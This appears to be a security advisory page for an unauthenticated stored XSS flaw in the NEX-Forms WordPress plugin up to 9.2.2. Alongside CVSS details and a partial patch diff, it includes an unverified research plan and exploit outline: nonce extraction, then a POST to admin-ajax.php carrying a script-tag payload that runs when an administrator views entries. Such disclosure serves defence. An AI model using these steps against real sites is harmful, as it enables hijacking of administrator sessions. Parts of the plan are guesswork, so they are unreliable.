CVE-2026-57668

NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.2.2 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
9.2.3
Patched in
5d
Time to patch

Description

The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=9.2.2
PublishedJuly 10, 2026
Last updatedJuly 14, 2026

What Changed in the Fix

Changes introduced in v9.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-57668 - NEX-Forms Stored XSS ## 1. Vulnerability Summary The **NEX-Forms – Ultimate Forms Plugin for WordPress** (up to 9.2.2) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly sanitize use…

Show full research plan

Research Plan: CVE-2026-57668 - NEX-Forms Stored XSS

1. Vulnerability Summary

The NEX-Forms – Ultimate Forms Plugin for WordPress (up to 9.2.2) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to properly sanitize user-submitted form data during entry creation and subsequently fails to escape this data when displaying it in the admin dashboard. An unauthenticated attacker can submit a form containing malicious JavaScript, which will then execute in the context of an administrator viewing the form submissions.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: nf_insert_record (Unauthenticated AJAX action, inferred from the insert_record handler in NEXForms_Database_Actions).
  • Vulnerable Parameter: The form_data array/string sent during form submission.
  • Authentication: None (Unauthenticated).
  • Preconditions: At least one form must be created and published on a page or post.

3. Code Flow

  1. Entry Point: An unauthenticated user submits a form on the front-end. This triggers a POST request to admin-ajax.php with the action nf_insert_record (or potentially nex_forms_submit).
  2. Storage: The insert_record() function in includes/classes/class.db.php (partially visible in source) processes the request. It takes the values from the form fields and saves them into the {wp_prefix}wap_nex_forms_entries table in the form_data column.
  3. Processing: The input is stored without sufficient neutralization (sanitization).
  4. Retrieval: When an administrator visits the NEX-Forms > Form Entries page, NEXForms_entries_page() in includes/classes/class.dashboard.php is called.
  5. Rendering (Sink): The admin dashboard retrieves the entries. When the admin clicks to view an entry, nf_populate_form_entry (in class.db.php) is called via AJAX. The returned data is handled by admin/js/dashboard.js, which likely injects the form data into the DOM using an unsafe method (e.g., .innerHTML or jQuery .html()) without escaping, leading to script execution.

4. Nonce Acquisition Strategy

NEX-Forms typically uses a nonce to authorize form submissions. This nonce is generated for unauthenticated users and embedded in the page where the form is rendered.

  1. Identify Form: Find a page containing a NEX-Forms shortcode (e.g., [nex_forms id="1"]).
  2. Navigate: Use the browser_navigate tool to go to that page.
  3. Extract Nonce:
    • The nonce is usually stored in a hidden input field or a global JavaScript object.
    • Target JS Object: window.nex_forms_submit_nonce or within window.nf_ajax.
    • Target Hidden Field: input[name="nex_forms_wpnonce"] or input[name="_wpnonce"].
  4. JS Command:
    // Strategy: Check common locations for the submission nonce
    browser_eval("document.querySelector('input[name=\"nex_forms_wpnonce\"]')?.value || window.nex_forms_submit_nonce")
    

5. Exploitation Strategy

Step 1: Discover Form ID

Locate a published form to obtain its ID.

  • Tool: wp_cli
  • Command: wp post list --post_type=page (Look for pages with NEX-Forms shortcodes).

Step 2: Extract Nonce and Field Names

Navigate to the form page to find the specific field names and the required nonce.

  • Tool: browser_navigate then browser_eval.
  • Target: Inspect the form HTML to find input names like text-12345.

Step 3: Submit Malicious Entry

Send a POST request to trigger the XSS storage.

  • Tool: http_request
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=nf_insert_record
    &nex_forms_Id=[FORM_ID]
    &nex_forms_wpnonce=[NONCE]
    &form_data=[FIELD_NAME]%3D%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
    
    (Note: form_data might be sent as individual parameters depending on the specific version's submission logic).

Step 4: Trigger XSS

Log in as an administrator and navigate to the entries page.

  • URL: http://localhost:8080/wp-admin/admin.php?page=nex-forms-dashboard
  • Action: Click on the "Form Entries" tab and view the submitted entry.

6. Test Data Setup

  1. Create a Form:
    # Create a basic form via WP-CLI (if possible) or ensure one exists
    # For this plugin, it is easier to ensure a form is created manually or via a pre-existing template
    wp eval "
    global \$wpdb;
    \$wpdb->insert(\"{\$wpdb->prefix}wap_nex_forms\", array('title' => 'Vulnerable Form', 'form_data' => '[]'));
    "
    
  2. Publish Form:
    wp post create --post_type=page --post_title="Contact Us" --post_status=publish --post_content="[nex_forms id='1']"
    

7. Expected Results

  • The http_request for submission should return a success message (often JSON).
  • When viewing the entry in the WordPress Admin, an alert box showing the document domain should appear.

8. Verification Steps

After the exploit attempt, verify the storage in the database:

  • Command: wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY Id DESC LIMIT 1;"
  • Expected Output: The output should contain the raw <script> tag.

9. Alternative Approaches

  • Search Feature XSS: If the main entry list is not vulnerable, try the "Search" feature on the entries page. If the search highlights terms in form_data without escaping (as suggested by search_params in class.dashboard.php), the payload may trigger there.
  • Field Label Injection: If form_data is sanitized, attempt to inject the payload into a field label or "other" options if the submission allows modifying form structure (unlikely but possible in some versions).
Research Findings
Static analysis — not yet PoC-verified

Summary

NEX-Forms versions 9.2.2 and below are vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to a lack of sanitization on form submission data and insufficient escaping when displaying entries in the admin dashboard. An unauthenticated attacker can submit a malicious payload via a form that executes in the context of an administrator's browser when they view the submission history.

Vulnerable Code

// includes/classes/class.db.php:12
add_action('wp_ajax_nf_insert_record', array($this,'insert_record'));

---

// includes/classes/class.dashboard.php:61
// The form_data column is retrieved and included in the entries table and search parameters without proper escaping logic before rendering.
$entries->search_params = array('Id','form_data');

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.2/admin/css/dashboard.css /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.3/admin/css/dashboard.css
--- /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.2/admin/css/dashboard.css	2026-06-05 07:42:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.3/admin/css/dashboard.css	2026-06-24 09:33:26.000000000 +0000
@@ -66,7 +66,9 @@
 	margin-right: 24px;
 	font-size: 18px;
 }
-
+.nex_forms_admin_page_wrapper select {
+    min-height: 35px;
+}
 .navigation>li>a{
 	overflow: hidden;
 	width: 100% !important;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.2/admin/js/builder.js /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.3/admin/js/builder.js
--- /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.2/admin/js/builder.js	2026-06-05 07:42:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.2.3/admin/js/builder.js	2026-06-24 09:33:26.000000000 +0000
@@ -1 +1 @@
-"use strict";var timer,help_text_timer,dev=!1,strPos=0,LS_MCE_l10n="test",mtheme_shortcodegen_url="",set_context_id="",js_editor_before="",js_editor_after="",css_editor="",set_dev=dev?"-no-menu":""; ... (truncated)

Exploit Outline

1. Identify a public-facing NEX-Forms form on the target WordPress site and record the Form ID. 2. Extract the submission nonce from the page source (typically found in the global JS object `window.nex_forms_submit_nonce` or a hidden input named `nex_forms_wpnonce`). 3. Craft a POST request to `/wp-admin/admin-ajax.php` using the action `nf_insert_record`. 4. Within the `form_data` parameter, inject a malicious JavaScript payload (e.g., `<script>alert(1)</script>`) associated with one of the form's field names. 5. The payload is stored in the `{wp_prefix}wap_nex_forms_entries` table. 6. The XSS triggers when an administrator logs into the dashboard and navigates to the 'NEX-Forms > Form Entries' page to view the submitted form data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.